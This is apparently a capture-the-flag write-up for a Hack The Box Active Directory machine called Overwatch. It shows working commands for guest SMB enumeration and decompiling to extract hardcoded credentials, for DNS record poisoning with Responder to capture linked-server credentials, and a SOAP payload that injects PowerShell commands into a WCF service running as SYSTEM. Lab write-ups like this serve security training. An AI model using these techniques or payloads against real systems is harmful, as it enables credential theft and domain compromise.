resux_

FILE 007 · Lateral / AD

Overwatch

A guest-readable SMB share hands over a .NET binary with SQL credentials in it, a stale linked server plus a DNS record I add myself relays auth to me, and a WCF service concatenates its input into PowerShell as SYSTEM.

Platform
HTB
Surface
Active Directory
State
Open

OS: Windows Server 2022 · Difficulty: Hard

Overwatch is an Active Directory box where every step comes out of somebody shipping something internal. A monitoring app on an open share carries its own SQL credentials. A linked server points at a host that no longer exists, which is a problem only because I can create it. And the same monitoring app exposes a WCF endpoint that builds a PowerShell command by string concatenation, running as SYSTEM.

Reconnaissance

Nmap Scan

# kali
nmap -sC -sV -p- 10.129.55.169
PortServiceNote
53DNSAD DNS
88Kerberos
389/3268LDAP
445SMB
6520MSSQLSQL Server 2022, non-standard port
3389RDP
5985WinRM

Domain controller for overwatch.htb, hostname S200401.

Initial Foothold: guest SMB to hardcoded SQL credentials

Guest access to SMB is open, and there is a software$ share on it holding a .NET monitoring application:

# kali
smbclient '//10.129.55.169/software$' -U 'guest%'

overwatch.exe, overwatch.pdb and a pile of .NET DLLs. The PDB shipping alongside the binary is the giveaway that nobody thought about this share.

# kali
ilspycmd -p -o ./decompiled overwatch.exe

Three things come straight out of the decompile. The connection string:

private readonly string connectionString =
    "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";

A WCF service configured on port 8000:

<add baseAddress="http://overwatch.htb:8000/MonitorService" />

And KillProcess, which builds a PowerShell command out of its argument:

public string KillProcess(string processName)
{
    string scriptContents = "Stop-Process -Name " + processName + " -Force";
    using Pipeline pipeline = runspace.CreatePipeline();
    pipeline.Commands.AddScript(scriptContents);
}

Note that last one and come back to it. The credentials are domain credentials, not just SQL ones:

# kali
impacket-mssqlclient 'overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.55.169' -port 6520 -windows-auth
EXEC sp_linkedservers;
-- SQL07, unreachable

Lateral Movement: sqlsvc -> sqlmgmt

A linked server pointing at a host that does not answer is not a dead end. The DC is also the DNS server, sqlsvc can write records, so I create SQL07 and point it at myself.

# kali
python3 dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' \
    -r SQL07 -a add -d 10.10.15.31 10.129.55.169

# kali
sudo responder -I tun0

Then make SQL Server go talk to it:

EXEC ('SELECT SYSTEM_USER;') AT [SQL07];

The linked server config stored credentials for the connection, so what comes back is not a challenge to crack:

[MSSQL] Cleartext Username: sqlmgmt
[MSSQL] Cleartext Password: bIhBbzMMnB82yx

That account has WinRM:

# kali
evil-winrm -i 10.129.58.18 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'

Privilege Escalation: sqlmgmt -> SYSTEM

BloodHound first, to check whether there is a cleaner path than the one already sitting in the decompile:

# kali
bloodhound-python -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' -d overwatch.htb -c all

ADAM.RUSSELL is a Domain Admin, the DC has unconstrained delegation, and there is no ACL path out of sqlmgmt. So it is the WCF service, which is bound to localhost and therefore only reachable now that I have a shell on the box:

# target
Invoke-WebRequest -Uri "http://localhost:8000/MonitorService" -UseBasicParsing
# => StatusCode: 200

KillProcess concatenates its argument into a PowerShell script, so a semicolon ends the intended command and starts mine:

# target
$body = @"
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>test; whoami | Out-File C:\temp\pwned.txt</processName>
    </KillProcess>
  </s:Body>
</s:Envelope>
"@

Invoke-WebRequest -Uri "http://localhost:8000/MonitorService" `
    -Method POST -Body $body `
    -ContentType "text/xml; charset=utf-8" `
    -Headers @{SOAPAction='"http://tempuri.org/IMonitoringService/KillProcess"'} `
    -UseBasicParsing

type C:\temp\pwned.txt
# => nt authority\system

Same request shape reads the flag, since the service has no reason to be running as SYSTEM but is:

# target
<processName>test; type C:\Users\Administrator\Desktop\root.txt | Out-File C:\temp\flag.txt</processName>

Flags

FlagHash
User<redacted>
Root<redacted>

Attack Path Summary

SMB guest access to software$ on the DC
  → overwatch.exe + overwatch.pdb → ILSpy → sqlsvc:TI0LKcfHzZw1Vv in the connection string
    → creds are domain-wide → impacket-mssqlclient on :6520
      → sp_linkedservers shows SQL07, unreachable
        → sqlsvc can write DNS → add SQL07 pointing at me, start Responder
          → EXEC ... AT [SQL07] → linked server sends stored creds → sqlmgmt:bIhBbzMMnB82yx
            → WinRM as sqlmgmt → user.txt
              → WCF MonitorService on localhost:8000, from the same decompile
                → KillProcess concatenates into PowerShell → semicolon injection as SYSTEM → root.txt